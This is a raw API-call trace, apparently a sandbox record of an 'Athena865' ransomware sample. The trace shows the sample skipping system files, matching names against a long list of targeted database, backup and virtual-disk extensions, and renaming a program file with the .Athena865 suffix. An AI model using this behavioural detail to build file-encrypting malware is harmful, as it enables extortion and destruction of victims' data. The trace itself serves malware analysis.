lstrcmpiW (lpString1="gap.exe", lpString2="..") returned 1 [0038.859] lstrcmpiW (lpString1="gap.exe", lpString2="windows") returned -1 [0038.859] lstrcmpiW (lpString1="gap.exe", lpString2="bootmgr") returned 1 [0038.859] lstrcmpiW (lpString1="gap.exe", lpString2="temp") returned -1 [0038.860] lstrcmpiW (lpString1="gap.exe", lpString2="pagefile.sys") returned -1 [0038.860] lstrcmpiW (lpString1="gap.exe", lpString2="boot") returned 1 [0038.860] lstrcmpiW (lpString1="gap.exe", lpString2="ids.txt") returned -1 [0038.860] lstrcmpiW (lpString1="gap.exe", lpString2="ntuser.dat") returned -1 [0038.860] lstrcmpiW (lpString1="gap.exe", lpString2="perflogs") returned -1 [0038.860] lstrcmpiW (lpString1="gap.exe", lpString2="MSBuild") returned -1 [0038.860] lstrlenW (lpString="gap.exe") returned 7 [0038.860] lstrcpyW (in: lpString1=0x241e88a, lpString2="gap.exe" | out: lpString1="gap.exe") returned="gap.exe" [0038.860] lstrlenW (lpString="gap.exe") returned 7 [0038.860] lstrlenW (lpString="Athena865") returned 9 [0038.860] lstrlenW (lpString=".dll") returned 4 [0038.860] lstrcmpiW (lpString1="gap.exe", lpString2=".dll") returned 1 [0038.860] lstrlenW (lpString=".lnk") returned 4 [0038.860] lstrcmpiW (lpString1="gap.exe", lpString2=".lnk") returned 1 [0038.860] lstrlenW (lpString=".ini") returned 4 [0038.860] lstrcmpiW (lpString1="gap.exe", lpString2=".ini") returned 1 [0038.860] lstrlenW (lpString=".sys") returned 4 [0038.860] lstrcmpiW (lpString1="gap.exe", lpString2=".sys") returned 1 [0038.860] lstrlenW (lpString="gap.exe") returned 7 [0038.860] lstrlenW (lpString="bak") returned 3 [0038.860] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0038.860] lstrlenW (lpString="ba_") returned 3 [0038.860] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0038.860] lstrlenW (lpString="dbb") returned 3 [0038.860] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0038.860] lstrlenW (lpString="vmdk") returned 4 [0038.860] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0038.860] lstrlenW (lpString="rar") returned 3 [0038.860] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0038.860] lstrlenW (lpString="zip") returned 3 [0038.860] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0038.860] lstrlenW (lpString="tgz") returned 3 [0038.860] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0038.860] lstrlenW (lpString="vbox") returned 4 [0038.860] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0038.860] lstrlenW (lpString="vdi") returned 3 [0038.860] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0038.860] lstrlenW (lpString="vhd") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0038.861] lstrlenW (lpString="vhdx") returned 4 [0038.861] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0038.861] lstrlenW (lpString="avhd") returned 4 [0038.861] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0038.861] lstrlenW (lpString="db") returned 2 [0038.861] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0038.861] lstrlenW (lpString="db2") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0038.861] lstrlenW (lpString="db3") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0038.861] lstrlenW (lpString="dbf") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0038.861] lstrlenW (lpString="mdf") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0038.861] lstrlenW (lpString="mdb") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0038.861] lstrlenW (lpString="sql") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0038.861] lstrlenW (lpString="sqlite") returned 6 [0038.861] lstrcmpiW (lpString1="ap.exe", lpString2="sqlite") returned -1 [0038.861] lstrlenW (lpString="sqlite3") returned 7 [0038.861] lstrlenW (lpString="sqlitedb") returned 8 [0038.861] lstrlenW (lpString="xml") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0038.861] lstrlenW (lpString="$er") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0038.861] lstrlenW (lpString="4dd") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0038.861] lstrlenW (lpString="4dl") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0038.861] lstrlenW (lpString="^^^") returned 3 [0038.861] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0038.861] lstrlenW (lpString="abs") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0038.862] lstrlenW (lpString="abx") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0038.862] lstrlenW (lpString="accdb") returned 5 [0038.862] lstrcmpiW (lpString1="p.exe", lpString2="accdb") returned 1 [0038.862] lstrlenW (lpString="accdc") returned 5 [0038.862] lstrcmpiW (lpString1="p.exe", lpString2="accdc") returned 1 [0038.862] lstrlenW (lpString="accde") returned 5 [0038.862] lstrcmpiW (lpString1="p.exe", lpString2="accde") returned 1 [0038.862] lstrlenW (lpString="accdr") returned 5 [0038.862] lstrcmpiW (lpString1="p.exe", lpString2="accdr") returned 1 [0038.862] lstrlenW (lpString="accdt") returned 5 [0038.862] lstrcmpiW (lpString1="p.exe", lpString2="accdt") returned 1 [0038.862] lstrlenW (lpString="accdw") returned 5 [0038.862] lstrcmpiW (lpString1="p.exe", lpString2="accdw") returned 1 [0038.862] lstrlenW (lpString="accft") returned 5 [0038.862] lstrcmpiW (lpString1="p.exe", lpString2="accft") returned 1 [0038.862] lstrlenW (lpString="adb") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.862] lstrlenW (lpString="adb") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.862] lstrlenW (lpString="ade") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0038.862] lstrlenW (lpString="adf") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0038.862] lstrlenW (lpString="adn") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0038.862] lstrlenW (lpString="adp") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0038.862] lstrlenW (lpString="alf") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0038.862] lstrlenW (lpString="ask") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0038.862] lstrlenW (lpString="btr") returned 3 [0038.862] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0038.863] lstrlenW (lpString="cat") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0038.863] lstrlenW (lpString="cdb") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0038.863] lstrlenW (lpString="ckp") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0038.863] lstrlenW (lpString="cma") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0038.863] lstrlenW (lpString="cpd") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0038.863] lstrlenW (lpString="dacpac") returned 6 [0038.863] lstrcmpiW (lpString1="ap.exe", lpString2="dacpac") returned -1 [0038.863] lstrlenW (lpString="dad") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0038.863] lstrlenW (lpString="dadiagrams") returned 10 [0038.863] lstrlenW (lpString="daschema") returned 8 [0038.863] lstrlenW (lpString="db-journal") returned 10 [0038.863] lstrlenW (lpString="db-shm") returned 6 [0038.863] lstrcmpiW (lpString1="ap.exe", lpString2="db-shm") returned -1 [0038.863] lstrlenW (lpString="db-wal") returned 6 [0038.863] lstrcmpiW (lpString1="ap.exe", lpString2="db-wal") returned -1 [0038.863] lstrlenW (lpString="dbc") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0038.863] lstrlenW (lpString="dbs") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0038.863] lstrlenW (lpString="dbt") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0038.863] lstrlenW (lpString="dbv") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0038.863] lstrlenW (lpString="dbx") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0038.863] lstrlenW (lpString="dcb") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0038.863] lstrlenW (lpString="dct") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0038.863] lstrlenW (lpString="dcx") returned 3 [0038.863] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0038.864] lstrlenW (lpString="ddl") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0038.864] lstrlenW (lpString="dlis") returned 4 [0038.864] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0038.864] lstrlenW (lpString="dp1") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0038.864] lstrlenW (lpString="dqy") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0038.864] lstrlenW (lpString="dsk") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0038.864] lstrlenW (lpString="dsn") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0038.864] lstrlenW (lpString="dtsx") returned 4 [0038.864] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0038.864] lstrlenW (lpString="dxl") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0038.864] lstrlenW (lpString="eco") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0038.864] lstrlenW (lpString="ecx") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0038.864] lstrlenW (lpString="edb") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0038.864] lstrlenW (lpString="epim") returned 4 [0038.864] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0038.864] lstrlenW (lpString="fcd") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0038.864] lstrlenW (lpString="fdb") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0038.864] lstrlenW (lpString="fic") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0038.864] lstrlenW (lpString="flexolibrary") returned 12 [0038.864] lstrlenW (lpString="fm5") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0038.864] lstrlenW (lpString="fmp") returned 3 [0038.864] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0038.864] lstrlenW (lpString="fmp12") returned 5 [0038.864] lstrcmpiW (lpString1="p.exe", lpString2="fmp12") returned 1 [0038.864] lstrlenW (lpString="fmpsl") returned 5 [0038.865] lstrcmpiW (lpString1="p.exe", lpString2="fmpsl") returned 1 [0038.865] lstrlenW (lpString="fol") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0038.865] lstrlenW (lpString="fp3") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0038.865] lstrlenW (lpString="fp4") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0038.865] lstrlenW (lpString="fp5") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0038.865] lstrlenW (lpString="fp7") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0038.865] lstrlenW (lpString="fpt") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0038.865] lstrlenW (lpString="frm") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0038.865] lstrlenW (lpString="gdb") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0038.865] lstrlenW (lpString="gdb") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0038.865] lstrlenW (lpString="grdb") returned 4 [0038.865] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0038.865] lstrlenW (lpString="gwi") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0038.865] lstrlenW (lpString="hdb") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0038.865] lstrlenW (lpString="his") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0038.865] lstrlenW (lpString="ib") returned 2 [0038.865] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0038.865] lstrlenW (lpString="idb") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0038.865] lstrlenW (lpString="ihx") returned 3 [0038.865] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0038.865] lstrlenW (lpString="itdb") returned 4 [0038.865] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0038.865] lstrlenW (lpString="itw") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0038.866] lstrlenW (lpString="jet") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0038.866] lstrlenW (lpString="jtx") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0038.866] lstrlenW (lpString="kdb") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0038.866] lstrlenW (lpString="kexi") returned 4 [0038.866] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0038.866] lstrlenW (lpString="kexic") returned 5 [0038.866] lstrcmpiW (lpString1="p.exe", lpString2="kexic") returned 1 [0038.866] lstrlenW (lpString="kexis") returned 5 [0038.866] lstrcmpiW (lpString1="p.exe", lpString2="kexis") returned 1 [0038.866] lstrlenW (lpString="lgc") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0038.866] lstrlenW (lpString="lwx") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0038.866] lstrlenW (lpString="maf") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0038.866] lstrlenW (lpString="maq") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0038.866] lstrlenW (lpString="mar") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0038.866] lstrlenW (lpString="marshal") returned 7 [0038.866] lstrlenW (lpString="mas") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0038.866] lstrlenW (lpString="mav") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0038.866] lstrlenW (lpString="maw") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0038.866] lstrlenW (lpString="mdbhtml") returned 7 [0038.866] lstrlenW (lpString="mdn") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0038.866] lstrlenW (lpString="mdt") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0038.866] lstrlenW (lpString="mfd") returned 3 [0038.866] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0038.867] lstrlenW (lpString="mpd") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0038.867] lstrlenW (lpString="mrg") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0038.867] lstrlenW (lpString="mud") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0038.867] lstrlenW (lpString="mwb") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0038.867] lstrlenW (lpString="myd") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0038.867] lstrlenW (lpString="ndf") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0038.867] lstrlenW (lpString="nnt") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0038.867] lstrlenW (lpString="nrmlib") returned 6 [0038.867] lstrcmpiW (lpString1="ap.exe", lpString2="nrmlib") returned -1 [0038.867] lstrlenW (lpString="ns2") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0038.867] lstrlenW (lpString="ns3") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0038.867] lstrlenW (lpString="ns4") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0038.867] lstrlenW (lpString="nsf") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0038.867] lstrlenW (lpString="nv") returned 2 [0038.867] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0038.867] lstrlenW (lpString="nv2") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0038.867] lstrlenW (lpString="nwdb") returned 4 [0038.867] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0038.867] lstrlenW (lpString="nyf") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0038.867] lstrlenW (lpString="odb") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0038.867] lstrlenW (lpString="odb") returned 3 [0038.867] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0038.867] lstrlenW (lpString="oqy") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0038.868] lstrlenW (lpString="ora") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0038.868] lstrlenW (lpString="orx") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0038.868] lstrlenW (lpString="owc") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0038.868] lstrlenW (lpString="p96") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0038.868] lstrlenW (lpString="p97") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0038.868] lstrlenW (lpString="pan") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0038.868] lstrlenW (lpString="pdb") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0038.868] lstrlenW (lpString="pdm") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0038.868] lstrlenW (lpString="pnz") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0038.868] lstrlenW (lpString="qry") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0038.868] lstrlenW (lpString="qvd") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0038.868] lstrlenW (lpString="rbf") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0038.868] lstrlenW (lpString="rctd") returned 4 [0038.868] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0038.868] lstrlenW (lpString="rod") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0038.868] lstrlenW (lpString="rodx") returned 4 [0038.868] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0038.868] lstrlenW (lpString="rpd") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0038.868] lstrlenW (lpString="rsd") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0038.868] lstrlenW (lpString="sas7bdat") returned 8 [0038.868] lstrlenW (lpString="sbf") returned 3 [0038.868] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0038.869] lstrlenW (lpString="scx") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0038.869] lstrlenW (lpString="sdb") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0038.869] lstrlenW (lpString="sdc") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0038.869] lstrlenW (lpString="sdf") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0038.869] lstrlenW (lpString="sis") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0038.869] lstrlenW (lpString="spq") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0038.869] lstrlenW (lpString="te") returned 2 [0038.869] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0038.869] lstrlenW (lpString="teacher") returned 7 [0038.869] lstrlenW (lpString="tmd") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0038.869] lstrlenW (lpString="tps") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0038.869] lstrlenW (lpString="trc") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0038.869] lstrlenW (lpString="trc") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0038.869] lstrlenW (lpString="trm") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0038.869] lstrlenW (lpString="udb") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0038.869] lstrlenW (lpString="udl") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0038.869] lstrlenW (lpString="usr") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0038.869] lstrlenW (lpString="v12") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0038.869] lstrlenW (lpString="vis") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0038.869] lstrlenW (lpString="vpd") returned 3 [0038.869] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0038.869] lstrlenW (lpString="vvv") returned 3 [0038.870] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0038.870] lstrlenW (lpString="wdb") returned 3 [0038.870] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0038.870] lstrlenW (lpString="wmdb") returned 4 [0038.870] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0038.870] lstrlenW (lpString="wrk") returned 3 [0038.870] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0038.870] lstrlenW (lpString="xdb") returned 3 [0038.870] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0038.870] lstrlenW (lpString="xld") returned 3 [0038.870] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0038.870] lstrlenW (lpString="xmlff") returned 5 [0038.870] lstrcmpiW (lpString1="p.exe", lpString2="xmlff") returned -1 [0038.870] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\gap.exe.Athena865") returned 50 [0038.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\gap.exe" (normalized: "c:\\program files\\windows journal\\gap.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\gap.exe.Athena865" (normalized: "c:\\program files\\windows journal\\gap.exe.athena865"), dwFlags=0x1) returned 1 [0038.870] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\gap.exe.Athena865" (normalized: "c:\\program files\\windows journal\\gap.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0038.871] GetLastError () returned 0x20 [0038.871] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Journal\\gap.exe CreateFile error 32\r\n") returned 70 [0038.871] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Journal\\gap.exe CreateFile error 32\r\n") returned 70 [0038.871] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0038.871] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16a7 [0038.871] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x46, lpOverlapped=0x0) returned 1 [0038.871] CloseHandle (hObject=0x17c) returned 1 [0038.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\gap.exe.Athena865" (normalized: "c:\\program files\\windows journal\\gap.exe.athena865"), lpNewFileName="C:\\Program Files\\Windows Journal\\gap.exe" (normalized: "c:\\program files\\windows journal\\gap.exe"), dwFlags=0x1) returned 1 [0038.872] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0038.872] CloseHandle (hObject=0x0) returned 0 [0038.872] CloseHandle (hObject=0xffffffff) returned 0 [0038.872] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc465fe0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0038.872] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0038.872] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".") returned 1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="..") returned 1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="windows") returned -1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="bootmgr") returned 1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="temp") returned -1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="pagefile.sys") returned -1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="boot") returned 1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="ids.txt") returned 1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="ntuser.dat") returned -1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="perflogs") returned -1 [0038.872] lstrcmpiW (lpString1="InkSeg.dll", lpString2="MSBuild") returned -1 [0038.872] lstrlenW (lpString="InkSeg.dll") returned 10 [0038.872] lstrcpyW (in: lpString1=0x241e88a, lpString2="InkSeg.dll" | out: lpString1="InkSeg.dll") returned="InkSeg.dll" [0038.872] lstrlenW (lpString="InkSeg.dll") returned 10 [0038.872] lstrlenW (lpString="Athena865") returned 9 [0038.873] lstrcmpiW (lpString1="nkSeg.dll", lpString2="Athena865") returned 1 [0038.873] 